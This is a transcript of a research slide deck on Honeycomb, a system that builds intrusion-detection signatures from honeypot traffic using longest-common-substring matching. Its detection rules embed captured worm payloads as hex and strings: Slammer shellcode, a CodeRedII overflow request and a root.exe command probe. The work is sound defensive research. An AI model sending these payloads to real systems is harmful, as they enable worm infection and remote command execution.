Post on 27-Dec-2015
transcript
Honeycomb Automated IDS SignatureGeneration using Honeypots
Christian Kreibich
Jon Crowcroft
Motivation
We’d like to characterize suspicious traffic IDS signatures are a way to do this How to focus on relevant traffic? (Evil Bit ) Honeypots have no production value Their traffic is suspicious by definition Thus: look for patterns in honeypot traffic
Honeycomb
Name? Nice double meaning ...
Honeycomb
Name? Nice double meaning ...
Combing for patterns in honeypot traffic
Honeycomb’s Architecture
Honeycomb’s Algorithm
Pattern Detection (I)
Stream reassembly:
Pattern Detection (II)
Longest-common-substring (LCS) on pairs of messages:
m1: fetaramasalatapatata
m2: insalataramoussaka
Can be done in O(|m1| + |m2|) using suffix trees
Implemented libstree, generic suffix tree library
No hardcoded protocol-specific knowledge
Pattern Detection (II)
Longest-common-substring (LCS) on pairs of messages:
m1: fetaramasalatapatata
m2: insalataramoussaka
Can be done in O(|m1| + |m2|) using suffix trees
Implemented libstree, generic suffix tree library
No hardcoded protocol-specific knowledge
Pattern Detection (III)
Horizontal detection:LCS on pairs of
messageseach message
independente.g. (persistent) HTTP
Pattern Detection (IV)
Vertical detection:concatenates incoming
messagesLCS on pairs of strings for interactive flows and to
mask TCP dynamicse.g. FTP, Telnet, ...
Signature Pool
Limited-size queue of current signatures Relational operators on signatures:
sig1 = sig2: all elements equal
sig1 sig2: elements differ
sig1 sig2: sig1 contains subset of sig2’s facts
signew = sigpool: signew ignored
signew sigpool: signew added
signew sigpool: signew added
sigpool signew: signew augments sigpool
Aggregation on destination ports
Results
We ran Honeycomb on an unfiltered cable modem connection for three days
Honeyd setup: fake FTP, Telnet, SMTP, HTTP services, all Perl/Shell
scripts.Other ports: traffic sinks
Some statistics: 649 TCP connections, 123 UDP connections Full traffic volume: ~1MB approx. 30 signatures created No wide-range portscanning
TCP Connections
HTTP
Kuang2 Virus/Trojan
SMB
NetBIOS
Microsoft SQL Server
UDP Connections
NetBIOS
Messenger Service
Slammer
Signatures created: Slammer
Honeyd log: 2003-05-08-02:26:43.0385 udp(17) S 81.89.64.111 2943 192.168.169.2 1434
2003-05-08-02:27:43.0404 udp(17) E 81.89.64.111 2943 192.168.169.2 1434: 376 02003-05-08-09:58:38.0807 udp(17) S 216.164.19.162 1639 192.168.169.2 14342003-05-08-09:59:38.0813 udp(17) E 216.164.19.162 1639 192.168.169.2 1434: 376 02003-05-08-17:15:24.0072 udp(17) S 66.28.200.226 6745 192.168.169.2 14342003-05-08-17:16:24.0083 udp(17) E 66.28.200.226 6745 192.168.169.2 1434: 376 0
Signature: alert udp any any -> 192.168.169.2/32 1434 (msg: "Honeycomb Thu May 8 09h58m38 2003
"; content: "|04 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 DC C9 B0|B|EB 0E 01 01 01 01 01 01 01|p|AE|B|01|p|AE|B|90 90 90 90 90 90 90 90|h|DC C9 B0|B|B8 01 01 01 01|1|C9 B1 18|P|E2 FD|5|01 01 01 05|P|89E5|Qh.dllhel32hkernQhounthickChGetTf|B9|llQh32.dhws2 f|B9|etQhsockf|B9|toQhsend|BE 18 10 AE|B|8D|E|D4|P|FF 16|P|8D|E|E0|P|8D|E|F0|P|FF 16|P|BE 10 10 AE|B|8B 1E 8B 03|=U|8B EC|Qt|05 BE 1C 10 AE|B|FF 16 FF D0|1|C9|QQP|81 F1 03 01 04 9B 81 F1 01 01 01 01|Q|8D|E|CC|P|8B|E|C0|P|FF 16|j|11|j|02|j|02 FF D0|P|8D|E|C4|P|8B|E|C0|P|FF 16 89 C6 09 DB 81 F3|<a|D9 FF 8B|E|B4 8D 0C|@|8D 14 88 C1 E2 04 01 C2 C1 E2 08|)|C2 8D 04 90 01 D8 89|E|B4|j|10 8D|E|B0|P1|C9|Qf|81 F1|x|01|Q|8D|E|03|P|8B|E|AC|P|FF D6 EB|"; )
Full worm detected
Signatures created: CodeRedII
Hit more than a dozen times alert tcp 80.0.0.0/8 any -> 192.168.169.2/32 80 (msg: "Honeycomb Tue May 6 11h55m20
2003 "; flags: A; flow: established; content: "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0|0D 0A|Content-type: text/xml|0A|Content-length: 3379 |0D 0A 0D 0A C8 C8 01 00|`|E8 03 00 00 00 CC EB FE|dg|FF|6|00 00|dg|89|&|00 00 E8 DF 02 00 00|h|04 01 00 00 8D 85|\|FE FF FF|P|FF|U|9C 8D 85|\|FE FF FF|P|FF|U|98 8B|@|10 8B 08 89 8D|X|FE FF FF FF|U|E4|=|04 04 00 00 0F 94 C1|=|04 08 00 00 0F 94 C5 0A CD 0F B6 C9 89 8D|T|FE FF FF 8B|u|08 81|~0|9A 02 00 00 0F 84 C4 00 00 00 C7|F0|9A 02 00 00 E8 0A 00 00 00|CodeRedII|00 8B 1C|$|FF|U|D8|f|0B C0 0F 95 85|8|FE FF FF C7 85|P|FE FF FF 01 00 00 00|j|00 8D 85|P|FE FF FF|P|8D 85|8|FE FF FF|P|8B|E|08 FF|p|08 FF 90 84 00 00 00 80 BD|8|FE FF FF 01|thS|FF|U|D4 FF|U|EC 01|E|84|i|BD|T|FE FF FF|,|01 00 00 81 C7|,|01 00 00 E8 D2 04 00 00 F7 D0 0F AF C7 89|F4|8D|E|88|Pj|00 FF|u|08 E8 05 00 00 00 E9 01 FF FF FF|j|00|j|00 FF|U|F0|P|FF|U|D0|Ou|D2 E8|;|05 00 00|i|BD|T|FE FF FF 00|\&|05 81 C7 00|\&|05|W|FF|U|E8|j|00|j|16 FF|U|8C|j|FF FF|U|E8 EB F9 8B|F4)E|84|jd|FF|U|E8 8D 85|<|FE FF FF|P|FF|U|C0 0F B7 85|<|FE FF FF|=|88 88 00 00|s|CF 0F B7 85|>|FE FF FF 83 F8 0A|s|C3|f|C7 85|p|FF FF FF 02 00|f|C7 85|r|FF FF …
Full worm due to vertical detection – server replies before all signature-relevant packets seen
Signatures detected: others … alert tcp 64.201.104.2/32 any -> 192.168.169.2/32
1080,3128,4588,6588,8080 (msg: "Honeycomb Mon May 5 19h04m12 2003 "; flags: S; flow: stateless; )
Signatures detected: others … alert tcp 64.201.104.2/32 any -> 192.168.169.2/32
1080,3128,4588,6588,8080 (msg: "Honeycomb Mon May 5 19h04m12 2003 "; flags: S; flow: stateless; )
alert udp 81.152.239.141/32 any -> 192.168.169.2/32 135 (msg: "Honeycomb Thu May 8 12h57m51 2003 "; content: "|15 00 00 00 00 00 00 00 15 00 00 00|YOUR EXTRA PAYCHEQUE|00 E1 04|x|0C 00 00 00 00 00 00 00 0C 00 00 00|80.4.124.41|00|#|01 00 00 00 00 00 00|#|01 00 00| Amazing Internet Product Sells Itself!|0D 0A|Resellers Wanted! GO TO..... www.Now4U2.co.uk"; )
Signatures detected: others … alert tcp 64.201.104.2/32 any -> 192.168.169.2/32
1080,3128,4588,6588,8080 (msg: "Honeycomb Mon May 5 19h04m12 2003 "; flags: S; flow: stateless; )
alert udp 81.152.239.141/32 any -> 192.168.169.2/32 135 (msg: "Honeycomb Thu May 8 12h57m51 2003 "; content: "|15 00 00 00 00 00 00 00 15 00 00 00|YOUR EXTRA PAYCHEQUE|00 E1 04|x|0C 00 00 00 00 00 00 00 0C 00 00 00|80.4.124.41|00|#|01 00 00 00 00 00 00|#|01 00 00| Amazing Internet Product Sells Itself!|0D 0A|Resellers Wanted! GO TO..... www.Now4U2.co.uk"; )
alert tcp 80.4.218.53/32 any -> 192.168.169.2/32 80 (msg: "Honeycomb Thu May 8 07h27m33 2003 "; flags: PA; flow: established; content: "GET /scripts/root.exe?/c+dir HTTP/1.0|0D 0A|Host: www|0D 0A|Connnection: close|0D 0A 0D|"; )
Signature Usability
LCS blindly calculates longest substring:alert tcp any any -> 81.100.86.44/32 445 (msg: "Honeycomb Fri Jul 18 02h40m22 2003 "; flags: PA; flow: established; content: "|00 00 00 85 FF|SMBr|00 00 00 00 18|S|C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE 00 00 00 00 00|b|00 02|PC NETWORK PROGRAM 1.0|00 02|LANMAN1.0|00 02|Windows for Workgroups 3.1a|00 02|LM1.2X002|00 02|LANMAN2.1|00 02|NT LM 0.12"; )
Generated signatures not necessary useful for everyday use
Signature Usability (II)
But this “distraction” can be interesting:alert tcp 62.219.50.70/32 any -> 147.237.72.91/32 80 (msg: "Honeycomb Sun Nov 9 19h03m09 2003 "; flags: A; flow: established; content: "F45dYN1pL3zRApBOj2WCKnO2hiH9UgFzTlLwkFg0OPehaFKCk1gYadTVTcrsHbcz5Gd4qg.94xMs7cRE0ivx8.GVNN3YK1yCn8AU8WnuJtrcsEyTtwrH2ivX.w5UvBFGTN8y56ISLjiDeCBxjQVfdZGRllRB9jOG5m70m9keYyNsW2g51WiGzsOY2MCkawAoxAMFsh3rwRLVBtqGLGiXsm9SIrsEF23jQ6nbJM3knX6AbQqfqMBEMxApEgnWqK4xq0ZmmRaWj84uNmyTD3ZBg1KUkXUaAlBEntzhFJIhpWfDaWefyBBf4WsBFzfCO.YFBHIzam2N9GrJhwSHc7vowkdGXXWuvdpqHJowhbLG6KvHZVjoFkUXqwOaTTK22z0osT9cAR.mRBXmrtCwe5wViX9EWaGHgocWqviXkBbvYZuns5IrXQv28kBDm4oMoWl7JLvzZ-Wd-18qj.jztV mDPNc0FHsv2N4U4qczZzBssfp6S.8W0Azj9R1wLkjpP Xjr9r8ZOmE7Jyq1-MET-2gW9ETIe tlqd39CjftUnszxCDDAZnsXZeuT1C3xDwefCHI344MF K45Fi4GrZRKHJWUkJkKW622tnCAqR3zRF.MxBrkNcfeVcDkv2fOE0PF8AUCfiewxcA4x1mu3niSnlx1T-hRcb0l1Q983X8ANPFI8H4vM-TQ vhMkHsvN0nxsUrh9xBm.YZL6Nc300YNle4DGK FNz.8HIQ9ID8mRIGJSGzcPHaq7EXAo67nnkHWw58d4udtwsbrr7NN48v5zjKtBlpklHTTcqjYsKsVWDhqEzDqFMrplBvgHfnjtKUIsBQsLIKgEAu9vXH5tWu3ef4nPT.7Tz9i8pb3DyZBMyqAf6TkYG5z.UUeZP5BrTTc2XFOY1xfRieOzb.5qgE1GyXMojMNWZqTuZKMWVzW8ZMNXx3ARaxpNCD-LB8oWxCtruMqb-mOuxR2NkMfZMFnLsIouUzQtGZ8RsY2NJEz."; )
Summary
System detects patterns in network traffic Using honeypot traffic, the system creates useful
signatures Good at worm detection Todo list
Ability to control LCS algorithm (whitelisting?)Tests with higher traffic volumeExperiment with approximate matchingBetter signature reporting scheme
Thanks!
Shoutouts: a13x hØ No machines were harmed or compromised in
the making of this presentation.www.cl.cam.ac.uk/~cpk25/honeycomb/